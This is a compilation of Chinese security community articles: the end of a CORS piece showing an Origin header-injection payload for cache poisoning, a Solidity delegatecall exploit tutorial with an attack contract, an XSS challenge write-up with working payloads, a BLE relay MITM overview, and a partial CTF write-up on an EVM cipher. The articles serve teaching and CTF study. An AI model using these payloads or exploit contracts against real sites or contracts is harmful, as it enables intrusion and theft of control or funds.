当天上的星星排成一条直线的时候，我们就能通过HTTP头部注入，利用服务器端缓存中毒来创建存储型XSS漏洞了。
如果应用程序会响应Origin头部，并且不检查它是否为\r之类的非法字符的话，那么，我们实际上就获得了一个针对IE/Edge浏览器用户的HTTP头部注入漏洞，因为Internet
Explorer和Edge浏览器会将\r\n（0x0d）视为有效的HTTP头部终止符：
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer将该响应视为：
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
不过，这个漏洞无法直接利用，因为攻击者无法让某人的网络浏览器发送这种畸形的的头部；然而，我们可以利用Burp
Suite手动构造这种请求，然后，服务器端缓存可能会保存相应的响应，并将其提供给其他人。我使用的有效载荷会将页面的字符集改为UTF-7，这一招对构造XSS漏洞来说非常有用。
**好心办坏事**
* * *
刚开始的时候，我没想到动态生成Access-Control-Allow-Origin头部的网站的数量是如此之多。之所以出现这种情况，究其根本原因，可能是CORS的两个主要限制所致——既不允许在单个头部中指定多个域，也不允许在子域使用通配符。这使得许多开发人员别无选择，只能动态生成相应的头部，这样一来，就不得不面对以上讨论的各种实现漏洞。我认为，如果规范作者和浏览器允许使用源列表和部分通配符的话，动态头部生成和相关漏洞的数量将会直线下降。
浏览器的另一个可改进的地方在于，将通配符+凭证异常应用于使用null的域。目前，使用null的域的危险性要远甚于使用通配符的域，我想很多人会对此感到非常惊讶。
其他浏览器也可以尝试阻止我发明的“反向混合内容”攻击——HTTP站点使用CORS从HTTPS站点窃取数据。不过，我不知道这会造成什么样的破损。
简单性和安全性本可以相辅相成的，但是，由于浏览器不支持声明多个域，从而将复杂性直接推给了开发人员，从而带来了严重的恶果。我认为，这主要归咎于规范的设计以及实现的难度方面。
**小结**
* * *
CORS是一种功能强大技术，使用时需要格外谨慎，因为，危险的漏洞利用并不总是需要精湛的技能和错综复杂的攻击链——通常情况下，只需要对规范有基本的了解和一点点的关注就足够了。如果您想图省劲的话，这里告诉您一个好消息，目前Burp
Suite的扫描器已经能够识别并报告文中讨论的所有缺陷了。 | 社区文章 |
# Solidity中的delegatecall杂谈
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
现在智能合约越来越火，对应的其暴露出来的问题也越来越多，其主流的solidity语言的很多特性感觉也慢慢得到了大家的重视，确实你能感觉到它的很多特性跟其它的语言有较大的区别，尤其是涉及到以太坊部分的存储等方面时，今天就简单聊聊solidity里的delegatecall
## 基本的使用
首先我们还是简单回顾一下solidity里的delegatecall函数，它与call其实差不多，都是用来进行函数的调用，主要的区别在于二者执行代码的上下文环境的不同，当使用call调用其它合约的函数时，代码是在被调用的合约的环境里执行，对应的，使用delegatecall进行函数调用时代码则是在调用函数的环境里执行，对于这一主要区别我们可以来看一个简单的例子
contract calltest {
address public b;
function test() public returns (address a){
a=address(this);
b=a;
}
}
contract compare {
address public b;
address testaddress = address of calltest;
function withcall(){
testaddress.call(bytes4(keccak256("test()")));
}
function withdelegatecall(){
testaddress.delegatecall(bytes4(keccak256("test()")));
}
}
在这个例子里我们将分别使用call和delegatecall来调用calltest合约的test函数，对比一下二者的运行差异，test函数主要是用来获取当前代码执行的合约地址
这里需要另外提一句的就是solidity中的函数选择器，当你给call传送的第一个参数为四个字节时EVM就会把这四个字节作为你要调用的函数的id，然后在合约里进行查找，而函数id的生成规则就是其函数签名的sha3的前4个bytes，函数签名就是带有括号括起来的参数类型列表的函数名称，也就是我们此处看到的形式，因为test不用传送参数，所以此处看起来还是比较简洁的，接下来我们进行测试
首先调用withcall函数，此时我们来看合约状态
很明显此时被更新的是被我们调用的calltest合约里的b变量，而且值即为calltest合约地址，接下来我们调用withdelegatecall函数
这次被更新的是我们调用合约的b变量，而且值即为我们调用合约的地址，这样二者的区别应该还是挺清楚了，本身delegatecall在某种程度上也是为了方便代码的复用，不过目前来看其设计还是带来了很大的麻烦
## 不当的使用
接下来我们就聚焦一下使用delegatecall可能带来的隐患
### 当CALLDATA可控时
正常我们使用delegatecall来调用指定合约的指定函数时应该是使用我们上面所写的那样将函数选择器所使用的函数id固定以锁定要调用的函数，不过事实上为了灵活性也有一部分的开发人员会使用msg.data来作为直接作为参数，比如下面这个合约
contract A {
address public owner;
function pwn() public {
owner = msg.sender;
}
}
contract Deletest {
address public owner;
address Address=address of A;
function Deletest() {
owner = msg.sender;
}
function() public {
Address.delegatecall(msg.data);
}
}
这里用到的delegatecall我们是可以控制其发送的data数据的，这也就意味着我们可以调用合约A里的任意函数，这样实际上也相当于是call注入了，此处因为合约A中所存在的恶意pwn函数，我们便可以通过调用它来修改合约Deletest的owner变量为我们自己，至于这部分攻击的实现我们可以通过发送一笔交易来实现，比如此处delegatecall的调用在fallback函数内，我们可以直接向合约发送一笔交易来触发
这里还是推荐用web3.js来进行控制，设置constract后即可直接使用下面的代码来完成对pwn()函数的调用
contract.sendTransaction({data:web3.sha3(“pwn()”).slice(0,10)});
### 被调用合约的地址可控
其实这部分内容才是我想讲的重点，它所体现的特性又一次与solidity的存储特性息息相关
我们先来看看简单的情况
最简单的当然就是被调用的合约地址直接使用了我们传递的参数，比如下面这种
contract C{
function tt(address _contract) public {
_contract.delegatecall(msg.data);
}
}
当然其参数不一定得是msg.data，哪怕固定了函数名和参数我们也可以创建一个合约来满足条件，这样的危害还是非常大的，虽然一般也碰不上这样写的
然后我们再来看看较为复杂的情况，不过首先我们得来指出我们前面所使用的例子存在的问题，比如我们所使用的第一个合约，简单修改一下得到
contract calltest {
address public c;
address public b;
function test() public returns (address a){
a=address(this);
b=a;
}
}
contract compare {
address public b;
address public c;
address testaddress = address of calltest;
function withdelegatecall(){
testaddress.delegatecall(bytes4(keccak256("test()")));
}
}
看起来似乎没什么问题，但是两个合约的b与c向量的位置不同，我们来看一下执行的结果
看起来似乎有点出乎意料，被更改的变量不是b而是c，这似乎与我们调用的代码不一样，然而事实上这里涉及到了使用delegatecall时的访存机制
我们知道使用delegatecall时代码执行的上下文是当前的合约，这代表使用的存储也是当前合约，当然这里指的是storage存储，然而我们要执行的是在目标合约那里的opcode，当我们的操作涉及到了storage变量时，其对应的访存指令其实是硬编码在我们的操作指令当中的，而EVM中访问storage存储的依据就是这些变量的存储位，对于上面的合约我们执行的汇编代码如下
sload即访存指令，给定的即访问一号存储位，在我们的主合约中即对应变量c，在calltest合约中则对应于变量b，所以事实上调用delegatecall来使用storage变量时其实依据并不是变量名而是变量的存储位，这样的话我们就可以达到覆盖相关变量的目的，最近ethernaut就更新了一道利用这种特性的题目，大致代码如下
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint public storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor() public {
timeZone1Library = address of library1;
timeZone2Library = address of library2;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint public storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
这里有两个delegatecall的调用，目标分别为不同的librarycontract合约的setTime()函数，可以看出本来的意思是想分别用这两个函数来更新本合约的storedTime，当然，这里为了方便就拿一个library合约直接代替了，通过上面得到的认知，我们发现这里更新的storedTime在library合约里也是storage变量，这意味着我们可以借用它来覆盖主合约里的对应位置的变量，这里我们可以覆盖的即timeZone1Library变量，再观察一下我们不难发现操作了它以后我们即相对于操纵了被调用合约的地址，这样我们就可以自己创建一个合约并执行任意的函数了
接下来我们简单测试一下，首先部署两个libraryContract合约，将其地址填入我们的主合约，然后部署主合约准备测试，我们用于攻击的合约如下
contract Attack {
uint padding1;
uint padding2;
address public owner;
function setTime(uint _time) public {
owner = tx.origin;
}
}
因为我们最终要控制的目标即主合约的owner对应的存储位为3，所以我们要在前面放两个用于占位的变量，接下来将Attack合约的地址覆盖到主合约的timeZone1Library，直接把其作为参数传递给setSecondTime函数即可
可以看到此时timeZone1Library已经被修改为我们的攻击合约，此时再调用setFirstTime函数即可成功更改owner变量
## 防范措施
从上面的利用方式我们可以看到delegatecall的问题主要是两方面，一方面是进行调用时发送的data或者被调用的合约地址可控，这样可能会恶意函数的执行，造成很大的危害，对于这种漏洞还是需要开发人员按照安全的编写方法正确实现delegatecall的使用，避免遭到恶意的利用，而另一方面就是在这种较复杂的上下文环境下涉及到storage变量时可能造成的变量覆盖，对于这种漏洞感觉如有需要还是避免直接使用delegatecall来进行调用，应该使用library来实现代码的复用，这也是目前在solidity里比较安全的代码复用的方式
其实library使用的基础也是delegatecall，不过它是一种较特别的合约，相比普通合约有几个特别的点，包括没有storage变量，无法继承或被继承，不能接收ether，要使用它来访问storage变量就得靠引用类型的传递了，这部分的内容也有很多，我们下回再说 | 社区文章 |
上次发了篇《强防御下的XSS绕过思路》的文章，有很多人私信问我，能不能来一些XSS绕过实例分析，这里我选了些N年前的BAT的XSS实例来聊聊构造和绕过思路。当然这些实例，都是已经公开并且修补完毕的，我这里是只是以此为原型，并做了一定的修改，进行了一些XSS题目的设计而已。
先一次性把17道题发出来（xsstest1~xsstest17自行修改）。
大部分的题都是一题多解，尽量给出多种思路，或者最短的解法。）
<http://px1624.sinaapp.com/test/xsstest1/>
有兴趣的朋友，可以先不看文章，自己尝试的做一做题目，有答案的话可以发到我的邮箱
[email protected]并附上自己的ID，说不定下篇文章里面就会有你的绕过思路被收录了额。
◇1、 首先看第一题，源码如下图，只有短短的几行代码而已
这个题目看似简单，不过没有js基础的人却不容易做出来。熟悉js的人，可能一眼就能看出答案了。然后用传统的测试方法去测试的话，比如给一定的字符输入去看输出点，这样的方法也是不行的。
有人看到代码里的location.hash，然后就会像如下方式去测试，结果就会发现不管你输入啥东西，都没有任何的输出点。如下图：
这是因为这道题是一个DOMXSS，用这样的调试方法是不行的，如果要调试的话，就要用到js的断点调试。
具体断点调试的方法可以参考这个文章 <https://www.toolmao.com/342.html>
1.2 这里我给出3种比较常用的方法
1.2.1 第一种方法：观察法，就是直接看代码的逻辑，然后构造即可。
看代码逻辑核心就是这句
setTimeout("aa('"+x+"')",100);
然后可以看到，我们只需要构造出下面的代码，就可以执行XSS。
setTimeout("aa('"+"',alert(1),'"+"')",100);
具体可以在控制台调试
那么问题就变得很简单了，直接替换一下x就等于
"',alert(1),'"
就行了。由于双引号表示的是字符串，所以x的内容就是
',alert(1),'
即可，那么我们去试试
1.2.2 第二种方法：js断点调试。一步步的去输入不同的内容，断点调试看代码输出逻辑。
先用谷歌浏览器F12，然后给如下位置设置断点。
任意输出字符串，断点调试，查看输出代码逻辑。鼠标放变量上，就可以看到变量当前的值。
可视化调试的话，只需要保证js的语法正确就可以了。
这种方法对于代码高度压缩，或者逻辑比较复杂的情况下，还是特别方便的。
1.2.3 第三种方法，故意输出特殊字符，导致js语法错误的调试。
如下图，输入点我故意输入一些特殊字符，然后Console发现有错误。
然后点击进去查看这个错误，可以看到直接进入了关键函数的语义解析状态。然后这里就很简单了，直接对照自己的输入内容，然后去构造下就可以了。
比如下面这样
这个题的答案很多，不过貌似最短的就是
#',alert(1),'或者#');alert(1)//
这样了。
很多人盲目的迷恋fuzz，所以以此为开头主要是为了给初学者分享一些实用的测试方法，以及说明一下看代码的重要性，这点在后面的题目里体现的淋漓尽致。
◇2、第一题还是比较简单的，甚至有些人直接盲测都给测出来了，下面看看第二题。
很多人习惯看到个按钮就去点下抓包啥的，那么这样只会被调戏而已。
第二题的源码如下
可以看到，我这里的第一题和第二题都是没有向服务器进行任何请求的，所以建议大家在测XSS的时候，一定要先看下代码逻辑，别一上来就在那瞎点瞎抓包。
第二题的代码逻辑可以看到，首先获取了location.search的内容，然后以&进行了分割获取变量，然后将变量的前2个进行了传值，赋值到了aa函数里。最终aa函数执行了
$("#xx")[x]($("#xx")[y]());
其中是对
id为xx的标签进行了两次dom操作，第一次是读取，第二次是写入。也就是代码中的div，然后div中写了一个img的XSS代码，但是被html实体编码了。
2.1 这里我直接给出答案，只需要执行
$("#xx")["html"]($("#xx")["text"]());
所以直接给赋值就行了
这里解释一下为什么会这样，在控制台里测试下，就知道了。
可以看到，text()函数会把html编码后的代码给还原回来，这个其实也是这个题的考点。也是很多程序员的很容易踩的一个坑。
这里的答案，第二个参数必须为text，第一个可以是很多，比如html、append、constructor、appendTo、insertBefore等等，很多能执行dom操作的函数都可以。
以前有人总结过mxss问题，个人觉得可能有一部分mxss的问题，就是因此产生的吧。mXSS攻击的成因及常见种类
<http://mottoin.com/detail/3430.html>
◇3、第二题虽然这个技术点很多人是并不知道的，但是因为出题的代码我写的比较简单易懂，所以还是有些人直接盲测给测出来了，下面看看第三题。代码如下：
主要考察的是同步输出的时候的构造思路，这里对输出点做了html编码的过滤，防止可以直接写入script标签的这种行为。
当然php代码做题的人是看不到的，所以他们只能看到前端的源码，如下：
可以看到，第三题的这个代码并没有location.hash或者location.search，那么肯定就需要猜变量了，作为出题的人肯定不会出那种完全不给线索猜不到题，所以变量肯定就是px或者xss呗，测试下发现变量就是px
很多人猜到了变量，就觉得这很简单啊，然后构造了一番就发现，怎么构造貌似都不行。因为是2个点同步输出的，所以一般思路的构造，会导致不是前面语法出错，就是后面语法不行。很多人使出洪荒之力，耗费了很久时间，还是发现不能成功执行XSS。
这里我直接给出思路，这里主要考察的是运算符的使用。
这样语法就是同步正确的了。
当然，这里不光是乘号，比如加号
还有减号
或者其他运算符也都是可以的
具体JavaScript运算符可以参考这里
<https://www.w3school.com.cn/js/js_operators.asp>
◇4、下面来看看第四题：
这个题属于第3题的升级，蛮多人就卡到这里过不去了。具体代码如下
可以看到，直接把这里提到的所有运算符都给过滤掉了。
<https://www.w3school.com.cn/js/js_operators.asp>
那么这个时候运算符全部被过滤了，又应该怎么进行构造，从而绕过限制呢？
由于篇幅原因，下篇文章我会为大家继续解析，欢迎大家关注微信公众号：不忘初心px1624
尾 巴
目前最新情况是，大部分的人做出来了1~3题，然后卡到第4题这里，还有蛮多人做出来了1~5题，卡到了第6题。其实卡住了的话，是可以跳着去做其他题的，因为整体来看，第6题应该是最难的了。
ID：gainover 解出了全部10题。并且是目前唯一解出第6题的人，以及第4题给出了目前最短payload的解法（13个字符）。
ID：香草 解出了1~4题，以及7~10题。并且给出了通杀9和10的payload。
ID：p1g3、zeddy、Huuuuu 、w8ay 解出了1~5题。p1g3、zeddy、Huuuuu
还做出来了7~8题，但是三人的第8题给的答案，都不能过xss filter。
ID：w8ay、Huuuuu第4题给出了不同于其他人的解法。
ID：zeddy第7题给出了不同于其他人的构造思路。
其他已经做出未被提及的，可以将自己的答案和ID发我qq邮箱：px1624.qq.com | 社区文章 |
本文作者：牛奶坦克
原文发表于小米安全中心，地址：https://sec.xiaomi.com/article/19
## 0x00 前言
所谓『虫洞』，在天体物理中是通过扭曲空间，连接宇宙遥远区域间的一个隧道，通过穿越这个隧道可以完成『时空穿越』。其实我并不懂天体物理，这些是我 Google
来的。
在 BLE 安全中，有一种攻击近似于『虫洞』，可以在一瞬间让相隔万里的两个设备完成亲密接触。
这种攻击手法在 blackhat USA 2016 由安全研究者 Jasek 进行了阐述，同时 Jasek 公开了一篇详细介绍 BLE 安全的 White
Paper『[GATTACKING BLUETOOTH SMART
DEVICES](https://github.com/securing/docs/raw/master/whitepaper.pdf)』和对 BLE
进行安全评估的工具 [GATTacker](http://www.gattack.io/)。
PS：阅读本文需要有 BLE 基础，限于篇幅，本文不会对 BLE 展开细讲。
## 0x01 虫洞攻击原理
在谈论虫洞攻击之前让我们先简单了解下 BLE，BLE 是 Bluetooth Low Energy
（低功耗蓝牙）的缩写，和传统蓝牙类似，是一种近距离进行设备间无线连接和通讯的协议。BLE 和传统蓝牙除了名字相似外，其架构设计完全不同。BLE
物如其名，其具有极低的功耗，加上其使用简单，成本低廉，深受 IoT 的喜爱，目前在家庭、健康、医疗等领域使用广泛。比如我们所熟悉的手环，就是使用的 BLE
技术。
虽然 BLE 传输距离可以长达 100 米，但其仍然是一种近距离的无线通讯协议，其使用场景仍然需要两个设备进行近距离接触。大部分使用场景如下：
Phone <-- BLE --> Device
假设我们有一种需求是想让 BLE 的传输距离增加到 200 米，那么可以通过下面方式来实现：
Phone <-- BLE --> BLE Relay Device <-- BLE --> Device
我们通过一个 BLE Relay 设备来把 BLE 信号进行中继以达到 200 米的传输距离。更远的距离可以通过增强天线性能或者复用 Relay
设备来实现。
如果是地球的两端呢？应该没有人傻到采用优乐美奶茶绕地球的方式来完成 BLE 的传递。正常的思维会采用下面的方式来实现：
Phone <-- BLE --> BLE Peripheral <-- Tunnel --> BLE Central <-- BLE --> Device
我们通过额外的 BLE Central/Peripheral 设备以及 Tunnel 来完成 BLE 的传递。
放在 BLE 安全攻击模型中，我们可以把 BLE Peripheral <\-- Tunnel --> BLE Central
部分称之为『虫洞』，通过『虫洞』来对正常的 BLE 通讯设备完成同一时间点甚至超越时间上的跨时空攻击。
## 0x02 虫洞攻击实现
实现『虫洞』攻击之前，我们还需要稍微再了解一下 BLE 协议，参考下图的 BLE 协议结构
BLE 协议结构
BLE 协议有很多部分组成，但是我们主要关注两部分：
* GAP（Generic Access Profile）
* GATT（Generic Attribute Profile）
GAP GAP 用于让两个设备进行连接。GAP 为设备定义多个角色，其中最重要的两个分别是：Central 和 Pheipheral。
* Pheipheral 发出广播，可以被 Central 设备进行扫描和连接，比如手环；
* Central 扫描 Pheipheral 设备，并对其进行连接，比如手机；
GATT GATT 用于让两个设备进行连接后的通讯。GATT 定义设备之间通过 Service 和 Characteristic 的东西来进行通讯，不同的
Characteristic 代表设备的不同功能。GATT 的结构如下：
了解了 GAP 和 GATT 之后，再来回忆一下『虫洞』攻击的模型 BLE Peripheral <\-- Tunnel --> BLE
Central，也就是说我们需要实现三部分功能，分别是 BLE Peripheral、Tunnel、BLE Central。
BLE Central
* 连接到 Device，获取其所有 Service 和 Characteristic，以及设备名称和 MAC 等信息，通过 Tunnel 传输到 BLE Peripheral，供 BLE Peripheral 伪造 Device。同时保持和 Device 的连接，用于后续对 Device 进行操作；
Tunnel
* websocket，socket，xmpp、http 等等，whatever，只要能够远程通讯都可以，用于BLE Central 和 BLE Pheipheral 之间数据传输；
BLE Peripheral
* 接收 BLE Central 传送过来的 Device 相关数据，完全伪造 Device，供 Phone 进行连接。把后续 Phone 对 Device 的操作通过 Tunnel 传输到 BLE Central 端；
最终，BLE Peripheral、Tunnel、BLE Central 三者实现了一个『虫洞』，拉近 Phone 和 Device
之间的距离，使其完成近距离接触。
只要网络可达，不在乎距离多远。
## 0x03 虫洞攻击相关工具
GATTacker <https://github.com/securing/gattacker>
Btlejuice <https://github.com/DigitalSecurity/btlejuice>
具体用法参见文档，具体实现参见代码。
## 0x04 攻击场景
在谈论『虫洞』时，我们一直在谈论距离，但是在实际的攻击场景中，距离并不是关键，关键的是攻击思想。下面罗列的攻击场景仅供参考
DDoS 在近距离，我们可以通过伪造 Device，使 Phone 强制连接我们伪造的 Device 以达到拒绝服务攻击的目的。
窃听或篡改数据 通过『虫洞』，我们可以洞悉 Phone 到 Device 的数据通讯，必要时候可以对数据进行篡改以达到我们想要的效果。
会话劫持 对于一些设备，通过『虫洞』，可以完成 Device 对 BLE Central 的认证，保持 BLE Central 对 Device
的连接，后续可以任意操作 Device。
当然攻击场景肯定不止上面提到的这三种，可以发散思维，想想还有什么攻击场景？
## 0x05 结尾
『虫洞』攻击其实就是 MITM，我并非故意标题党，而是我觉得在 IoT 快速发展的今天，形形色色的使用了 BLE
技术的智能设备已经深入到我们的生活中，并且在影响着我们的生活。手环、智能门锁、无钥匙进入、医疗设备等等，BLE
在为我们提供便利的同时，也埋伏着安全隐患。这种攻击虽然有前置条件，但是一旦发生轻则泄露个人隐私数据，重则造成财产损失，甚至对生命安全产生威胁。
希望本文会被相关从业者看到，能有些许思考。如果能够有些许影响，则更好不过。
## 0x06 参考资料
* <http://www.gattack.io/> 中涵盖的 white paper、slides、code
* <https://github.com/DigitalSecurity/btlejuice>
* <https://www.bluetooth.com/zh-cn/specifications/bluetooth-core-specification>
* 以及与同事 rayxcp 的讨论 | 社区文章 |
# 区块链CTF OJ平台ChainFlag -EVMEnc Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
[ChainFlag](https://chainflag.org/)是一个区块链主题的CTF
OJ平台，个人感觉现有题目质量很高，值得一做，这里分享下自己做题的过程。
## EVMEnc
### 题目简介
题目提示简单的EVM加密,给了两个附件，info.txt与source.sol,附件如下图所示:
info.txt
transaction
1.
0x81200224..................
2.
0xffdd8131000000000000000000000000000000000000000000003100e35e552c1273c959
sload(0) = 208645382789328542577309
3.
0xffdd8131000000000000000000000000000000000000000000001ac3243c9e81ba850045
sload(0) = 29341064342757093333104
4.
0xffdd8131000000000000000000000000000000000000000000005ce6a91010e307946b87
sload(0) = 227103917449451505785192
5.
0xe6dc28ae..................
sload(3) = 1970527074032043059410457910532573615730510348629701619382
source.sol
pragma solidity ^0.5.10;
contract EVMEnc {
uint public result;
string public key;
uint private delta;
uint public output;
uint32 public sum;
uint224 private tmp_sum=0;
uint32 private key0;
uint224 private t0=0;
uint32 private key1;
uint224 private t1=0;
uint32 private key2;
uint224 private t2=0;
uint32 private key3;
uint224 private t3=0;
constructor() public {
delta = 0xb3c6ef3720;
}
function Convert(string memory source) public pure returns (uint result) {
bytes32 tmp;
assembly {
tmp := mload(add(source, 32))
}
result = uint(tmp) / 0x10000000000000000;
}
function set_key(string memory tmp) public {
key = tmp;
}
function cal_(uint x) public {
uint tmp = Convert(key) / 0x10000000000000000;
result = tmp % x;
}
function Encrypt(string memory flag) public {
uint tmp = Convert(flag);
uint key_tmp = Convert(key) / 0x10000000000000000;
assembly {
let first,second
sstore(5, and(shr(96, key_tmp), 0xffffffff))
sstore(6, and(shr(64, key_tmp), 0xffffffff))
sstore(7, and(shr(32, key_tmp), 0xffffffff))
sstore(8, and(key_tmp, 0xffffffff))
let step := 1
for { let i := 1 } lt(i, 4) { i := add(i, 1) } {
first := and(shr(mul(add(sub(24, mul(i, 8)), 4), 8), tmp), 0xffffffff)
second := and(shr(mul(sub(24, mul(i, 8)), 8), tmp), 0xffffffff)
sstore(4, 0)
for {let j := 0 } lt(j, 32) { j := add(j, 1) } {
sstore(4, and(add(and(sload(4), 0xffffffff), shr(5, sload(2))), 0xffffffff))
let tmp11 := and(add(and(mul(second, 16), 0xffffffff), and(sload(5), 0xffffffff)), 0xffffffff)
let tmp12 := and(add(second, and(sload(4),0xffffffff)), 0xffffffff)
let tmp13 := and(add(div(second, 32), and(sload(6),0xffffffff)), 0xffffffff)
first := and(add(first, xor(xor(tmp11, tmp12), tmp13)), 0xffffffff)
let tmp21 := and(add(and(mul(first, 16), 0xffffffff), and(sload(7),0xffffffff)), 0xffffffff)
let tmp22 := and(add(first, and(sload(4),0xffffffff)), 0xffffffff)
let tmp23 := and(add(div(first, 32), and(sload(8),0xffffffff)), 0xffffffff)
second := and(add(second, xor(xor(tmp21, tmp22), tmp23)), 0xffffffff)
}
sstore(3, add(sload(3), add(shl(sub(192, mul(step, 32)), first), shl(sub(192, mul(i, 64)), second))))
step := add(step, 2)
}
}
}
}
### 题目分析
题目提供的两个附件source.sol为智能合约源码，info.txt为具体的交易序列，包含了交易的输入数据以及执行后部分存储storage的状态。利用remix编译智能合约，在Compilation
Details中查看Functionhashes如下图所示：
分析info.txt文件，文件给出了5条交易的部分输入信息以及部分执行后的状态。以第一条为例：
1.
0x81200224..................
给出了交易发生的输入的前4个字节为0x81200224，交易输入的前4个字节一般对应了调用方法的哈希，后面的输入为调用方法使用的参数，这里调用了方法set_key(string),但是隐去了string参数的的具体内容。
分析第二条交易信息：
2.
0xffdd8131000000000000000000000000000000000000000000003100e35e552c1273c959
sload(0) = 208645382789328542577309
对应交易的方法为cal_(unit256),参数为0x3100e35e552c1273c959。sload(0)返回的是storage[0]的信息，根据合约对应的是全局变量result,意思是执行完交易后，result=208645382789328542577309
对info.txt中的信息继续处理，结果如下所示：
transaction
1.set_key(string memory tmp)
2.cal_(uint 0x3100e35e552c1273c959)
result = 0x2c2eb0597447608b329d
3.cal_(uint 0x1ac3243c9e81ba850045)
result = 0x6369510a41dbcbed870
4.cal_(uint 0x5ce6a91010e307946b87)
result = 0x301753fa0827117d1968
5.Encrypt(string memory flag)
output =0x505d433947f27742f60b06f350f2583450a1f7221380eeb6
到这里题目的基本要求和大题思路算是比较清楚了，题目算是一个利用solidity语言构造的一个加解密题目，题目设置未知的key值，然后告知调用三次cal_函数的结果，之后要求通过flag加密后的输出求出flag。
下面的重点在于分析cal和encrypt函数，这两个函数的编写加入了内联汇编，汇编指令的理解可以参考[文档](https://solidity-cn.readthedocs.io/zh/develop/assembly.html)，总体而言都是对sotrage、memory以及stack的操作。本人作为一个菜狗子主要通过以下这样的方式来帮助理解，一是通过本地动态调试，题目给出了源码，可以利用remix本地部署并对相关函数进行调试，二是将用python重写函数，这样也方便了后续的解密程序编写。
通过调试可知cal函数可以理解为取余，已知：
0x2c2eb0597447608b329d = tmp % 0x3100e35e552c1273c959
0x6369510a41dbcbed870 = tmp % 0x1ac3243c9e81ba850045
0x301753fa0827117d1968 = tmp % 0x5ce6a91010e307946b87
求解取余方程可以利用中国剩余定理，具体实现附在最后。
求出了tmp后，分析Encrypt函数，先看循环前的部分：
uint tmp = Convert(flag);
uint key_tmp = Convert(key) / 0x10000000000000000;
assembly {
let first,second
sstore(5, and(shr(96, key_tmp), 0xffffffff))
sstore(6, and(shr(64, key_tmp), 0xffffffff))
sstore(7, and(shr(32, key_tmp), 0xffffffff))
sstore(8, and(key_tmp, 0xffffffff))
之前所求的tmp就是这里的key_tmp,那么存储在storage[5]到storage[8]都是固定值可以直接求出。后续部分用到的sload(2)是取storage[2]的值，按照源码分析对应的是变量delta=0xb3c6ef3720。storage[3]对应的output用来存储结果，由循环部分每次循环计算的结果移位拼接而成。将Encrypt函数重写成python，转化过程中需要注意符号的优先级，结果如下：
tmp = flag #Convert(flag) 48 hex
key_tmp =0x6b65795f746869735f69735f6b65795f
sstore5 = 0x6b65795f # 0x6b65795f 74686973 5f69735f 6b65795f >>96
sstore6 = 0x74686973
sstore7 = 0x5f69735f
sstore8 = 0x6b65795f
sstore2 = 0xb3c6ef3720
sstore3 = 0
step = 1
sstore4listall = []//mark
for i in range(1,4):
first = (tmp >> ((24 - i * 8)+4) * 8) & 0xffffffff
second = (tmp >> (24 - i * 8) * 8) & 0xffffffff
sstore4 = 0
sstore4list = []
for j in range(0, 32):
sstore4 = ((sstore4 & 0xffffffff) + (sstore2 >> 5)) & 0xffffffff
sstore4list.append(sstore4)//mark
tmp11 = (((second * 16) & 0xffffffff) + sstore5 ) & 0xffffffff
tmp12 = (second + sstore4) & 0xffffffff
tmp13 = ((second >> 5) + sstore6) & 0xffffffff
first = (first + (tmp11 ^ tmp12 ^ tmp13)) & 0xffffffff
tmp21 = (((first << 4) & 0xffffffff) + sstore7) & 0xffffffff
tmp22 = (first + sstore4) & 0xffffffff
tmp23 = ((first >> 5) + sstore8) & 0xffffffff
second = (second + (tmp21 ^ tmp22 ^ tmp23)) & 0xffffffff
sstore4listall.append(sstore4list)//mark
sstore3 = sstore3 + ((first << (192 - (step * 32))) + (second << (192 - (i * 64))))
step = step + 2
print(hex(sstore3))
#sstore3 = 0x505d433947f27742f60b06f350f2583450a1f7221380eeb6
由以上这段加密过程求解flag，下面分析加密算法。算法主体是两层循环，第一层循环了3次，tmp为24字节，第一次循环求出的first和second是tmp的高位的0-4字节以及5-8字节，后续循环每次取8字节前部分为first变量，后部分为second变量。通过第二层循环后将first与second再度拼接组合，循环三次后为最终的输出。
第二层循环32次，其中的sstore4为storage[4]的存储值，初始为0并且随着循环不断变化，但是在3*32次的循环中与输入的flag无关，这96个数值是固定的，这里我设立了一个数组sstore4list用来存储记录，方便后续的解密。第二层的循环中的tmp11，tmp12，tmp13三个变量仅与second有关，first依据这三个值变化，tmp21，tmp22，tmp23三个变量仅与first有关，second依据这三个值变化，循环32次后为最后得到后续拼接的first与second。
依据主要逻辑可以理解为以下形式：
tmp = [a,b,c]
output =[]
t = 0
for i in range(0,3):
first = tmp[i][:16]
second = tmp[i][17:]
for j in range(0, 32):
tmp1 = unknow_1(second,sstore4[t])
first = (first + tmp1)& 0xffffffff
tmp2 = unknow_2(first,sstore4[t])
second = (second + tmp2)& 0xffffffff
t = t+1
output.append([first,second])
现在逻辑就清晰多了，先分组后加密在组合，类似于常见流密码的加密方式，对以上加密过程解密的逻辑可以理解为以下形式：
tmp = []
output =[a,b,c]
t = 0
for i in range(0,3):
first = output[i][:16]
second = output[i][17:]
for j in range(0, 32):
tmp1 = unknow_1(second,sstore4[t])
first = (first - tmp1)& 0xffffffff
tmp2 = unknow_2(first,sstore4[t])
second = (second - tmp2)& 0xffffffff
t = t+1
tmp.append([first,second])
下面为了实现解密，我需要完成充实细节，比如计算出其中的用到96次的不同的sstore4，比如变量的移位拼接操作的具体实现等，实现解密即可求解出flag，实现代码附在后面。
### 完整解题过程
中国剩余定理求解key_tmp：
import gmpy2
def crt(b,m):
for i in range(len(m)):
for j in range(i+1,len(m)):
if gmpy2.gcd(m[i],m[j]) != 1:
print("error")
return -1
M = 1
for i in range(len(m)):
M *= m[i]
Mm = []
for i in range(len(m)):
Mm.append(M // m[i])
Mm_ = []
for i in range(len(m)):
_,a,_ = gmpy2.gcdext(Mm[i],m[i])
Mm_.append(int(a % m[i]))
y = 0
for i in range(len(m)):
